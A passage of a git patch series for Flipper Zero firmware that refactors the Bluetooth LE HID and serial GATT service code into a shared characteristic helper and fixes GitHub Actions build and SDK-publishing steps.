&hid_svc->chars[HidSvcGattCharacteristicProtocolMode], + &protocol_mode); + + // reports + FlipperGattCharacteristicDescriptorParams hid_svc_char_descr; + FlipperGattCharacteristicParams report_char; + HidSvcReportId report_id; + + memcpy(&hid_svc_char_descr, &hid_svc_char_descr_template, sizeof(hid_svc_char_descr)); + memcpy(&report_char, &hid_svc_report_template, sizeof(report_char)); + + hid_svc_char_descr.data_callback.context = &report_id; + report_char.descriptor_params = &hid_svc_char_descr; + + typedef struct { + uint8_t report_type; + uint8_t report_count; + FlipperGattCharacteristicInstance* chars; + } HidSvcReportCharProps; + + HidSvcReportCharProps hid_report_chars[] = { + {0x01, HID_SVC_INPUT_REPORT_COUNT, hid_svc->input_report_chars}, + {0x02, HID_SVC_OUTPUT_REPORT_COUNT, hid_svc->output_report_chars}, + {0x03, HID_SVC_FEATURE_REPORT_COUNT, hid_svc->feature_report_chars}, + }; + + for(size_t report_type_idx = 0; report_type_idx < COUNT_OF(hid_report_chars); + report_type_idx++) { + report_id.report_type = hid_report_chars[report_type_idx].report_type; + for(size_t report_idx = 0; report_idx < hid_report_chars[report_type_idx].report_count; + report_idx++) { + report_id.report_idx = report_idx + 1; + flipper_gatt_characteristic_init( + hid_svc->svc_handle, + &report_char, + &hid_report_chars[report_type_idx].chars[report_idx]); + } + } +} + +bool hid_svc_update_report_map(const uint8_t* data, uint16_t len) { + furi_assert(data); + furi_assert(hid_svc); + + HidSvcDataWrapper report_data = { + .data_ptr = data, + .data_len = len, + }; + return flipper_gatt_characteristic_update( + hid_svc->svc_handle, &hid_svc->chars[HidSvcGattCharacteristicReportMap], &report_data); +} + +bool hid_svc_update_input_report(uint8_t input_report_num, uint8_t* data, uint16_t len) { + furi_assert(data); + furi_assert(hid_svc); + furi_assert(input_report_num < HID_SVC_INPUT_REPORT_COUNT); + + HidSvcDataWrapper report_data = { + .data_ptr = data, + .data_len = len, + }; + return flipper_gatt_characteristic_update( + hid_svc->svc_handle, &hid_svc->input_report_chars[input_report_num], &report_data); +} + +bool hid_svc_update_info(uint8_t* data) { + furi_assert(data); + furi_assert(hid_svc); + + return flipper_gatt_characteristic_update( + hid_svc->svc_handle, &hid_svc->chars[HidSvcGattCharacteristicInfo], &data); +} + +void hid_svc_register_led_state_callback(HidLedStateEventCallback callback, void* context) { + furi_assert(hid_svc); + furi_assert(callback); + furi_assert(context); + + hid_svc->led_state_event_callback = callback; + hid_svc->led_state_ctx = context; +} + +bool hid_svc_is_started() { + return hid_svc != NULL; +} + +void hid_svc_stop() { + tBleStatus status; + if(hid_svc) { + // Delete characteristics + for(size_t i = 0; i < HidSvcGattCharacteristicCount; i++) { + flipper_gatt_characteristic_delete(hid_svc->svc_handle, &hid_svc->chars[i]); + } + + typedef struct { + uint8_t report_count; + FlipperGattCharacteristicInstance* chars; + } HidSvcReportCharProps; + + HidSvcReportCharProps hid_report_chars[] = { + {HID_SVC_INPUT_REPORT_COUNT, hid_svc->input_report_chars}, + {HID_SVC_OUTPUT_REPORT_COUNT, hid_svc->output_report_chars}, + {HID_SVC_FEATURE_REPORT_COUNT, hid_svc->feature_report_chars}, + }; + + for(size_t report_type_idx = 0; report_type_idx < COUNT_OF(hid_report_chars); + report_type_idx++) { + for(size_t report_idx = 0; report_idx < hid_report_chars[report_type_idx].report_count; + report_idx++) { + flipper_gatt_characteristic_delete( + hid_svc->svc_handle, &hid_report_chars[report_type_idx].chars[report_idx]); + } + } + + // Delete service + status = aci_gatt_del_service(hid_svc->svc_handle); + if(status) { + FURI_LOG_E(TAG, "Failed to delete HID service: %d", status); + } + free(hid_svc); + hid_svc = NULL; + } +} diff --git a/firmware/targets/f7/ble_glue/hid_service.h b/firmware/targets/f7/ble_glue/services/hid_service.h similarity index 89% rename from firmware/targets/f7/ble_glue/hid_service.h rename to firmware/targets/f7/ble_glue/services/hid_service.h index b8f6b244d2..4d0ed4c4f9 100644 --- a/firmware/targets/f7/ble_glue/hid_service.h +++ b/firmware/targets/f7/ble_glue/services/hid_service.h @@ -27,6 +27,7 @@ bool hid_svc_update_report_map(const uint8_t* data, uint16_t len); bool hid_svc_update_input_report(uint8_t input_report_num, uint8_t* data, uint16_t len); -bool hid_svc_update_info(uint8_t* data, uint16_t len); +// Expects data to be of length HID_SVC_INFO_LEN (4 bytes) +bool hid_svc_update_info(uint8_t* data); void hid_svc_register_led_state_callback(HidLedStateEventCallback callback, void* context); diff --git a/firmware/targets/f7/ble_glue/serial_service.c b/firmware/targets/f7/ble_glue/services/serial_service.c similarity index 57% rename from firmware/targets/f7/ble_glue/serial_service.c rename to firmware/targets/f7/ble_glue/services/serial_service.c index c6421dc28f..ab009bbfcb 100644 --- a/firmware/targets/f7/ble_glue/serial_service.c +++ b/firmware/targets/f7/ble_glue/services/serial_service.c @@ -1,17 +1,67 @@ #include "serial_service.h" #include "app_common.h" #include +#include "gatt_char.h" #include +#include "serial_service_uuid.inc" + #define TAG "BtSerialSvc" +typedef enum { + SerialSvcGattCharacteristicTx = 0, + SerialSvcGattCharacteristicRx, + SerialSvcGattCharacteristicFlowCtrl, + SerialSvcGattCharacteristicStatus, + SerialSvcGattCharacteristicCount, +} SerialSvcGattCharacteristicId; + +static const FlipperGattCharacteristicParams serial_svc_chars[SerialSvcGattCharacteristicCount] = { + [SerialSvcGattCharacteristicTx] = + {.name = "TX", + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = SERIAL_SVC_DATA_LEN_MAX, + .uuid.Char_UUID_128 = SERIAL_SVC_TX_CHAR_UUID, + .uuid_type = UUID_TYPE_128, + .char_properties = CHAR_PROP_READ | CHAR_PROP_INDICATE, + .security_permissions = ATTR_PERMISSION_AUTHEN_READ, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_VARIABLE}, + [SerialSvcGattCharacteristicRx] = + {.name = "RX", + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = SERIAL_SVC_DATA_LEN_MAX, + .uuid.Char_UUID_128 = SERIAL_SVC_RX_CHAR_UUID, + .uuid_type = UUID_TYPE_128, + .char_properties = CHAR_PROP_WRITE_WITHOUT_RESP | CHAR_PROP_WRITE | CHAR_PROP_READ, + .security_permissions = ATTR_PERMISSION_AUTHEN_READ | ATTR_PERMISSION_AUTHEN_WRITE, + .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE, + .is_variable = CHAR_VALUE_LEN_VARIABLE}, + [SerialSvcGattCharacteristicFlowCtrl] = + {.name = "Flow control", + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = sizeof(uint32_t), + .uuid.Char_UUID_128 = SERIAL_SVC_FLOW_CONTROL_UUID, + .uuid_type = UUID_TYPE_128, + .char_properties = CHAR_PROP_READ | CHAR_PROP_NOTIFY, + .security_permissions = ATTR_PERMISSION_AUTHEN_READ, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_CONSTANT}, + [SerialSvcGattCharacteristicStatus] = { + .name = "RPC status", + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = sizeof(SerialServiceRpcStatus), + .uuid.Char_UUID_128 = SERIAL_SVC_RPC_STATUS_UUID, + .uuid_type = UUID_TYPE_128, + .char_properties = CHAR_PROP_READ | CHAR_PROP_WRITE | CHAR_PROP_NOTIFY, + .security_permissions = ATTR_PERMISSION_AUTHEN_READ | ATTR_PERMISSION_AUTHEN_WRITE, + .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE, + .is_variable = CHAR_VALUE_LEN_CONSTANT}}; + typedef struct { uint16_t svc_handle; - uint16_t rx_char_handle; - uint16_t tx_char_handle; - uint16_t flow_ctrl_char_handle; - uint16_t rpc_status_char_handle; + FlipperGattCharacteristicInstance chars[SerialSvcGattCharacteristicCount]; FuriMutex* buff_size_mtx; uint32_t buff_size; uint16_t bytes_ready_to_receive; @@ -21,17 +71,6 @@ typedef struct { static SerialSvc* serial_svc = NULL; -static const uint8_t service_uuid[] = - {0x00, 0x00, 0xfe, 0x60, 0xcc, 0x7a, 0x48, 0x2a, 0x98, 0x4a, 0x7f, 0x2e, 0xd5, 0xb3, 0xe5, 0x8f}; -static const uint8_t char_tx_uuid[] = - {0x00, 0x00, 0xfe, 0x61, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19}; -static const uint8_t char_rx_uuid[] = - {0x00, 0x00, 0xfe, 0x62, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19}; -static const uint8_t flow_ctrl_uuid[] = - {0x00, 0x00, 0xfe, 0x63, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19}; -static const uint8_t rpc_status_uuid[] = - {0x00, 0x00, 0xfe, 0x64, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19}; - static SVCCTL_EvtAckStatus_t serial_svc_event_handler(void* event) { SVCCTL_EvtAckStatus_t ret = SVCCTL_EvtNotAck; hci_event_pckt* event_pckt = (hci_event_pckt*)(((hci_uart_pckt*)event)->data); @@ -40,11 +79,14 @@ static SVCCTL_EvtAckStatus_t serial_svc_event_handler(void* event) { if(event_pckt->evt == HCI_VENDOR_SPECIFIC_DEBUG_EVT_CODE) { if(blecore_evt->ecode == ACI_GATT_ATTRIBUTE_MODIFIED_VSEVT_CODE) { attribute_modified = (aci_gatt_attribute_modified_event_rp0*)blecore_evt->data; - if(attribute_modified->Attr_Handle == serial_svc->rx_char_handle + 2) { + if(attribute_modified->Attr_Handle == + serial_svc->chars[SerialSvcGattCharacteristicRx].handle + 2) { // Descriptor handle ret = SVCCTL_EvtAckFlowEnable; FURI_LOG_D(TAG, "RX descriptor event"); - } else if(attribute_modified->Attr_Handle == serial_svc->rx_char_handle + 1) { + } else if( + attribute_modified->Attr_Handle == + serial_svc->chars[SerialSvcGattCharacteristicRx].handle + 1) { FURI_LOG_D(TAG, "Received %d bytes", attribute_modified->Attr_Data_Length); if(serial_svc->callback) { furi_check( @@ -70,7 +112,9 @@ static SVCCTL_EvtAckStatus_t serial_svc_event_handler(void* event) { furi_check(furi_mutex_release(serial_svc->buff_size_mtx) == FuriStatusOk); } ret = SVCCTL_EvtAckFlowEnable; - } else if(attribute_modified->Attr_Handle == serial_svc->rpc_status_char_handle + 1) { + } else if( + attribute_modified->Attr_Handle == + serial_svc->chars[SerialSvcGattCharacteristicStatus].handle + 1) { SerialServiceRpcStatus* rpc_status = (SerialServiceRpcStatus*)attribute_modified->Attr_Data; if(*rpc_status == SerialServiceRpcStatusNotActive) { @@ -97,18 +141,12 @@ static SVCCTL_EvtAckStatus_t serial_svc_event_handler(void* event) { } static void serial_svc_update_rpc_char(SerialServiceRpcStatus status) { - tBleStatus ble_status = aci_gatt_update_char_value( - serial_svc->svc_handle, - serial_svc->rpc_status_char_handle, - 0, - sizeof(SerialServiceRpcStatus), - (uint8_t*)&status); - if(ble_status) { - FURI_LOG_E(TAG, "Failed to update RPC status char: %d", ble_status); - } + flipper_gatt_characteristic_update( + serial_svc->svc_handle, &serial_svc->chars[SerialSvcGattCharacteristicStatus], &status); } void serial_svc_start() { + UNUSED(serial_svc_chars); tBleStatus status; serial_svc = malloc(sizeof(SerialSvc)); // Register event handler @@ -116,72 +154,17 @@ void serial_svc_start() { // Add service status = aci_gatt_add_service( - UUID_TYPE_128, (Service_UUID_t*)service_uuid, PRIMARY_SERVICE, 12, &serial_svc->svc_handle); + UUID_TYPE_128, &service_uuid, PRIMARY_SERVICE, 12, &serial_svc->svc_handle); if(status) { FURI_LOG_E(TAG, "Failed to add Serial service: %d", status); } - // Add RX characteristics - status = aci_gatt_add_char( - serial_svc->svc_handle, - UUID_TYPE_128, - (const Char_UUID_t*)char_rx_uuid, - SERIAL_SVC_DATA_LEN_MAX, - CHAR_PROP_WRITE_WITHOUT_RESP | CHAR_PROP_WRITE | CHAR_PROP_READ, - ATTR_PERMISSION_AUTHEN_READ | ATTR_PERMISSION_AUTHEN_WRITE, - GATT_NOTIFY_ATTRIBUTE_WRITE, - 10, - CHAR_VALUE_LEN_VARIABLE, - &serial_svc->rx_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add RX characteristic: %d", status); + // Add characteristics + for(uint8_t i = 0; i < SerialSvcGattCharacteristicCount; i++) { + flipper_gatt_characteristic_init( + serial_svc->svc_handle, &serial_svc_chars[i], &serial_svc->chars[i]); } - // Add TX characteristic - status = aci_gatt_add_char( - serial_svc->svc_handle, - UUID_TYPE_128, - (const Char_UUID_t*)char_tx_uuid, - SERIAL_SVC_DATA_LEN_MAX, - CHAR_PROP_READ | CHAR_PROP_INDICATE, - ATTR_PERMISSION_AUTHEN_READ, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_VARIABLE, - &serial_svc->tx_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add TX characteristic: %d", status); - } - // Add Flow Control characteristic - status = aci_gatt_add_char( - serial_svc->svc_handle, - UUID_TYPE_128, - (const Char_UUID_t*)flow_ctrl_uuid, - sizeof(uint32_t), - CHAR_PROP_READ | CHAR_PROP_NOTIFY, - ATTR_PERMISSION_AUTHEN_READ, - GATT_DONT_NOTIFY_EVENTS, - 10, - CHAR_VALUE_LEN_CONSTANT, - &serial_svc->flow_ctrl_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add Flow Control characteristic: %d", status); - } - // Add RPC status characteristic - status = aci_gatt_add_char( - serial_svc->svc_handle, - UUID_TYPE_128, - (const Char_UUID_t*)rpc_status_uuid, - sizeof(SerialServiceRpcStatus), - CHAR_PROP_READ | CHAR_PROP_WRITE | CHAR_PROP_NOTIFY, - ATTR_PERMISSION_AUTHEN_READ | ATTR_PERMISSION_AUTHEN_WRITE, - GATT_NOTIFY_ATTRIBUTE_WRITE, - 10, - CHAR_VALUE_LEN_CONSTANT, - &serial_svc->rpc_status_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to add RPC status characteristic: %d", status); - } serial_svc_update_rpc_char(SerialServiceRpcStatusNotActive); // Allocate buffer size mutex serial_svc->buff_size_mtx = furi_mutex_alloc(FuriMutexTypeNormal); @@ -196,13 +179,12 @@ void serial_svc_set_callbacks( serial_svc->context = context; serial_svc->buff_size = buff_size; serial_svc->bytes_ready_to_receive = buff_size; + uint32_t buff_size_reversed = REVERSE_BYTES_U32(serial_svc->buff_size); - aci_gatt_update_char_value( + flipper_gatt_characteristic_update( serial_svc->svc_handle, - serial_svc->flow_ctrl_char_handle, - 0, - sizeof(uint32_t), - (uint8_t*)&buff_size_reversed); + &serial_svc->chars[SerialSvcGattCharacteristicFlowCtrl], + &buff_size_reversed); } void serial_svc_notify_buffer_is_empty() { @@ -213,13 +195,12 @@ void serial_svc_notify_buffer_is_empty() { if(serial_svc->bytes_ready_to_receive == 0) { FURI_LOG_D(TAG, "Buffer is empty. Notifying client"); serial_svc->bytes_ready_to_receive = serial_svc->buff_size; + uint32_t buff_size_reversed = REVERSE_BYTES_U32(serial_svc->buff_size); - aci_gatt_update_char_value( + flipper_gatt_characteristic_update( serial_svc->svc_handle, - serial_svc->flow_ctrl_char_handle, - 0, - sizeof(uint32_t), - (uint8_t*)&buff_size_reversed); + &serial_svc->chars[SerialSvcGattCharacteristicFlowCtrl], + &buff_size_reversed); } furi_check(furi_mutex_release(serial_svc->buff_size_mtx) == FuriStatusOk); } @@ -227,22 +208,8 @@ void serial_svc_notify_buffer_is_empty() { void serial_svc_stop() { tBleStatus status; if(serial_svc) { - // Delete characteristics - status = aci_gatt_del_char(serial_svc->svc_handle, serial_svc->tx_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete TX characteristic: %d", status); - } - status = aci_gatt_del_char(serial_svc->svc_handle, serial_svc->rx_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete RX characteristic: %d", status); - } - status = aci_gatt_del_char(serial_svc->svc_handle, serial_svc->flow_ctrl_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete Flow Control characteristic: %d", status); - } - status = aci_gatt_del_char(serial_svc->svc_handle, serial_svc->rpc_status_char_handle); - if(status) { - FURI_LOG_E(TAG, "Failed to delete RPC Status characteristic: %d", status); + for(uint8_t i = 0; i < SerialSvcGattCharacteristicCount; i++) { + flipper_gatt_characteristic_delete(serial_svc->svc_handle, &serial_svc->chars[i]); } // Delete service status = aci_gatt_del_service(serial_svc->svc_handle); @@ -273,7 +240,7 @@ bool serial_svc_update_tx(uint8_t* data, uint16_t data_len) { tBleStatus result = aci_gatt_update_char_value_ext( 0, serial_svc->svc_handle, - serial_svc->tx_char_handle, + serial_svc->chars[SerialSvcGattCharacteristicTx].handle, remained ? 0x00 : 0x02, data_len, value_offset, diff --git a/firmware/targets/f7/ble_glue/serial_service.h b/firmware/targets/f7/ble_glue/services/serial_service.h similarity index 100% rename from firmware/targets/f7/ble_glue/serial_service.h rename to firmware/targets/f7/ble_glue/services/serial_service.h diff --git a/firmware/targets/f7/ble_glue/services/serial_service_uuid.inc b/firmware/targets/f7/ble_glue/services/serial_service_uuid.inc new file mode 100644 index 0000000000..a297d9ad60 --- /dev/null +++ b/firmware/targets/f7/ble_glue/services/serial_service_uuid.inc @@ -0,0 +1,12 @@ + +static const Service_UUID_t service_uuid = { .Service_UUID_128 = \ + { 0x00, 0x00, 0xfe, 0x60, 0xcc, 0x7a, 0x48, 0x2a, 0x98, 0x4a, 0x7f, 0x2e, 0xd5, 0xb3, 0xe5, 0x8f }}; + +#define SERIAL_SVC_TX_CHAR_UUID \ + { 0x00, 0x00, 0xfe, 0x61, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19 } +#define SERIAL_SVC_RX_CHAR_UUID \ + { 0x00, 0x00, 0xfe, 0x62, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19 } +#define SERIAL_SVC_FLOW_CONTROL_UUID \ + { 0x00, 0x00, 0xfe, 0x63, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19 } +#define SERIAL_SVC_RPC_STATUS_UUID \ + { 0x00, 0x00, 0xfe, 0x64, 0x8e, 0x22, 0x45, 0x41, 0x9d, 0x4c, 0x21, 0xed, 0xae, 0x82, 0xed, 0x19 } diff --git a/firmware/targets/f7/furi_hal/furi_hal_bt.c b/firmware/targets/f7/furi_hal/furi_hal_bt.c index 5b62052ea9..3ad135d34e 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_bt.c +++ b/firmware/targets/f7/furi_hal/furi_hal_bt.c @@ -8,8 +8,7 @@ #include #include #include -#include "battery_service.h" - +#include #include #define TAG "FuriHalBt" diff --git a/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c b/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c index 860edfcd40..43b2785784 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c +++ b/firmware/targets/f7/furi_hal/furi_hal_bt_hid.c @@ -1,11 +1,11 @@ #include #include -#include "usb_hid.h" -#include "dev_info_service.h" -#include "battery_service.h" -#include "hid_service.h" +#include +#include +#include #include +#include #define FURI_HAL_BT_INFO_BASE_USB_SPECIFICATION (0x0101) #define FURI_HAL_BT_INFO_COUNTRY_CODE (0x00) @@ -220,7 +220,7 @@ void furi_hal_bt_hid_start() { FURI_HAL_BT_HID_INFO_FLAG_REMOTE_WAKE_MSK | FURI_HAL_BT_HID_INFO_FLAG_NORMALLY_CONNECTABLE_MSK, }; - hid_svc_update_info(hid_info_val, sizeof(hid_info_val)); + hid_svc_update_info(hid_info_val); } void furi_hal_bt_hid_stop() { diff --git a/firmware/targets/f7/furi_hal/furi_hal_bt_serial.c b/firmware/targets/f7/furi_hal/furi_hal_bt_serial.c index 2539e6bd0e..2927d946f9 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_bt_serial.c +++ b/firmware/targets/f7/furi_hal/furi_hal_bt_serial.c @@ -1,7 +1,7 @@ #include -#include "dev_info_service.h" -#include "battery_service.h" -#include "serial_service.h" +#include +#include +#include #include diff --git a/firmware/targets/furi_hal_include/furi_hal_bt.h b/firmware/targets/furi_hal_include/furi_hal_bt.h index 2969cfbb85..7ff0a4257e 100644 --- a/firmware/targets/furi_hal_include/furi_hal_bt.h +++ b/firmware/targets/furi_hal_include/furi_hal_bt.h @@ -8,7 +8,7 @@ #include #include #include -#include +#include #include #include diff --git a/firmware/targets/furi_hal_include/furi_hal_bt_serial.h b/firmware/targets/furi_hal_include/furi_hal_bt_serial.h index 1b6e79ab07..0472d31d18 100644 --- a/firmware/targets/furi_hal_include/furi_hal_bt_serial.h +++ b/firmware/targets/furi_hal_include/furi_hal_bt_serial.h @@ -1,6 +1,6 @@ #pragma once -#include "serial_service.h" +#include #ifdef __cplusplus extern "C" { From 091210c003c34ae0cea02365f93e1a4fa3532779 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Mon, 11 Sep 2023 18:51:14 +0300 Subject: [PATCH 02/40] ofw upds --- .../targets/f7/ble_glue/services/gatt_char.c | 1 - .../f7/ble_glue/services/hid_service.c | 9 +++---- .../f7/ble_glue/services/serial_service.c | 24 +++++++++---------- 3 files changed, 17 insertions(+), 17 deletions(-) diff --git a/firmware/targets/f7/ble_glue/services/gatt_char.c b/firmware/targets/f7/ble_glue/services/gatt_char.c index 9b6a44f61b..f6e27f53e6 100644 --- a/firmware/targets/f7/ble_glue/services/gatt_char.c +++ b/firmware/targets/f7/ble_glue/services/gatt_char.c @@ -14,7 +14,6 @@ void flipper_gatt_characteristic_init( furi_assert(char_instance); // Copy the descriptor to the instance, since it may point to stack memory - // TODO: only copy if really comes from stack char_instance->characteristic = malloc(sizeof(FlipperGattCharacteristicParams)); memcpy( (void*)char_instance->characteristic, diff --git a/firmware/targets/f7/ble_glue/services/hid_service.c b/firmware/targets/f7/ble_glue/services/hid_service.c index 11f10b7b38..d3fad0108b 100644 --- a/firmware/targets/f7/ble_glue/services/hid_service.c +++ b/firmware/targets/f7/ble_glue/services/hid_service.c @@ -23,6 +23,10 @@ typedef struct { static_assert(sizeof(HidSvcReportId) == sizeof(uint16_t), "HidSvcReportId must be 2 bytes"); +static const Service_UUID_t hid_svc_uuid = { + .Service_UUID_16 = HUMAN_INTERFACE_DEVICE_SERVICE_UUID, +}; + static bool hid_svc_char_desc_data_callback(const void* context, const uint8_t** data, uint16_t* data_len) { const HidSvcReportId* report_id = context; @@ -211,18 +215,15 @@ static SVCCTL_EvtAckStatus_t hid_svc_event_handler(void* event) { void hid_svc_start() { tBleStatus status; hid_svc = malloc(sizeof(HIDSvc)); - Service_UUID_t svc_uuid = {}; // Register event handler SVCCTL_RegisterSvcHandler(hid_svc_event_handler); - // Add service - svc_uuid.Service_UUID_16 = HUMAN_INTERFACE_DEVICE_SERVICE_UUID; /** * Add Human Interface Device Service */ status = aci_gatt_add_service( UUID_TYPE_16, - &svc_uuid, + &hid_svc_uuid, PRIMARY_SERVICE, 2 + /* protocol mode */ (4 * HID_SVC_INPUT_REPORT_COUNT) + (3 * HID_SVC_OUTPUT_REPORT_COUNT) + diff --git a/firmware/targets/f7/ble_glue/services/serial_service.c b/firmware/targets/f7/ble_glue/services/serial_service.c index ab009bbfcb..0db25b3d3a 100644 --- a/firmware/targets/f7/ble_glue/services/serial_service.c +++ b/firmware/targets/f7/ble_glue/services/serial_service.c @@ -10,24 +10,14 @@ #define TAG "BtSerialSvc" typedef enum { - SerialSvcGattCharacteristicTx = 0, - SerialSvcGattCharacteristicRx, + SerialSvcGattCharacteristicRx = 0, + SerialSvcGattCharacteristicTx, SerialSvcGattCharacteristicFlowCtrl, SerialSvcGattCharacteristicStatus, SerialSvcGattCharacteristicCount, } SerialSvcGattCharacteristicId; static const FlipperGattCharacteristicParams serial_svc_chars[SerialSvcGattCharacteristicCount] = { - [SerialSvcGattCharacteristicTx] = - {.name = "TX", - .data_prop_type = FlipperGattCharacteristicDataFixed, - .data.fixed.length = SERIAL_SVC_DATA_LEN_MAX, - .uuid.Char_UUID_128 = SERIAL_SVC_TX_CHAR_UUID, - .uuid_type = UUID_TYPE_128, - .char_properties = CHAR_PROP_READ | CHAR_PROP_INDICATE, - .security_permissions = ATTR_PERMISSION_AUTHEN_READ, - .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, - .is_variable = CHAR_VALUE_LEN_VARIABLE}, [SerialSvcGattCharacteristicRx] = {.name = "RX", .data_prop_type = FlipperGattCharacteristicDataFixed, @@ -38,6 +28,16 @@ static const FlipperGattCharacteristicParams serial_svc_chars[SerialSvcGattChara .security_permissions = ATTR_PERMISSION_AUTHEN_READ | ATTR_PERMISSION_AUTHEN_WRITE, .gatt_evt_mask = GATT_NOTIFY_ATTRIBUTE_WRITE, .is_variable = CHAR_VALUE_LEN_VARIABLE}, + [SerialSvcGattCharacteristicTx] = + {.name = "TX", + .data_prop_type = FlipperGattCharacteristicDataFixed, + .data.fixed.length = SERIAL_SVC_DATA_LEN_MAX, + .uuid.Char_UUID_128 = SERIAL_SVC_TX_CHAR_UUID, + .uuid_type = UUID_TYPE_128, + .char_properties = CHAR_PROP_READ | CHAR_PROP_INDICATE, + .security_permissions = ATTR_PERMISSION_AUTHEN_READ, + .gatt_evt_mask = GATT_DONT_NOTIFY_EVENTS, + .is_variable = CHAR_VALUE_LEN_VARIABLE}, [SerialSvcGattCharacteristicFlowCtrl] = {.name = "Flow control", .data_prop_type = FlipperGattCharacteristicDataFixed, From c657eb8a40a6b35137f23ce285ab7524030fbc47 Mon Sep 17 00:00:00 2001 From: hedger Date: Mon, 11 Sep 2023 19:18:04 +0300 Subject: [PATCH 03/40] github: potential fix for compact builds (#3067) * github: potential fix for compact builds * github: explicit build mode --- .github/workflows/build.yml | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 810b70b01f..12d22f3509 100644 --- a/.github/workflows/build.yml +++ b/.github/workflows/build.yml @@ -32,16 +32,18 @@ jobs: - name: 'Get commit details' id: names run: | + BUILD_TYPE='DEBUG=1 COMPACT=0' if [[ ${{ github.event_name }} == 'pull_request' ]]; then TYPE="pull" elif [[ "${{ github.ref }}" == "refs/tags/"* ]]; then TYPE="tag" - echo 'FBT_BUILD_TYPE="DEBUG=0 COMPACT=1"' >> $GITHUB_ENV + BUILD_TYPE='DEBUG=0 COMPACT=1' else TYPE="other" fi python3 scripts/get_env.py "--event_file=${{ github.event_path }}" "--type=$TYPE" || cat "${{ github.event_path }}" echo "event_type=$TYPE" >> $GITHUB_OUTPUT + echo "FBT_BUILD_TYPE=$BUILD_TYPE" >> $GITHUB_ENV echo "TARGET=${{ matrix.target }}" >> $GITHUB_ENV echo "TARGET_HW=$(echo "${{ matrix.target }}" | sed 's/f//')" >> $GITHUB_ENV From 91813831c61ba88887e6bd2a55a4abc2ef182f7d Mon Sep 17 00:00:00 2001 From: hedger Date: Mon, 11 Sep 2023 19:36:13 +0300 Subject: [PATCH 04/40] github: specified shell for SDK submission action (#3068) --- .github/actions/submit_sdk/action.yml | 1 + 1 file changed, 1 insertion(+) diff --git a/.github/actions/submit_sdk/action.yml b/.github/actions/submit_sdk/action.yml index 05ed20b02f..2428c32d53 100644 --- a/.github/actions/submit_sdk/action.yml +++ b/.github/actions/submit_sdk/action.yml @@ -24,6 +24,7 @@ runs: using: composite steps: - name: Submit SDK + shell: bash run: | curl -sX 'GET' \ '${{ inputs.catalog-url }}/api/v0/0/sdk?length=500' \ From 8bfa9898e32d8ac7474fa2422849667969c973b5 Mon Sep 17 00:00:00 2001 From: hedger Date: Tue, 12 Sep 2023 04:20:45 +0300 Subject: [PATCH 05/40] github: final fixes for SDK publishing (#3069) * Fixes 4 fixes 4 fixes * gh: proper step naming * github: Restored SDK processing logic --- .github/actions/submit_sdk/action.yml | 8 ++++---- .github/workflows/build.yml | 4 ++-- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/actions/submit_sdk/action.yml b/.github/actions/submit_sdk/action.yml index 2428c32d53..5de5d3d8fb 100644 --- a/.github/actions/submit_sdk/action.yml +++ b/.github/actions/submit_sdk/action.yml @@ -7,7 +7,7 @@ inputs: catalog-url: description: The URL of the Catalog API required: true - catalog-token: + catalog-api-token: description: The token to use to authenticate with the Catalog API required: true firmware-api: @@ -41,7 +41,7 @@ runs: curl -X 'POST' \ "${{ inputs.catalog-url }}/api/v0/0/sdk/${SDK_ID}/release" \ -H 'Accept: application/json' \ - -H 'Authorization: Bearer ${{ inputs.catalog-token }}' \ + -H 'Authorization: Bearer ${{ inputs.catalog-api-token }}' \ -d '' fi else @@ -49,7 +49,7 @@ runs: curl -X 'POST' \ '${{ inputs.catalog-url }}/api/v0/0/sdk' \ -H 'Accept: application/json' \ - -H 'Authorization: Bearer ${{ inputs.catalog-token }}' \ + -H 'Authorization: Bearer ${{ inputs.catalog-api-token }}' \ -H 'Content-Type: application/json' \ - -d "{\"name\": \"${{ inputs.firmware-version }}\", \"target\": \"${{ inputs.firmware-target }}\", \"api\": \"${{ inputs.firmware-api }}\"}\" + -d "{\"name\": \"${{ inputs.firmware-version }}\", \"target\": \"${{ inputs.firmware-target }}\", \"api\": \"${{ inputs.firmware-api }}\"}" fi diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml index 12d22f3509..84e89059ef 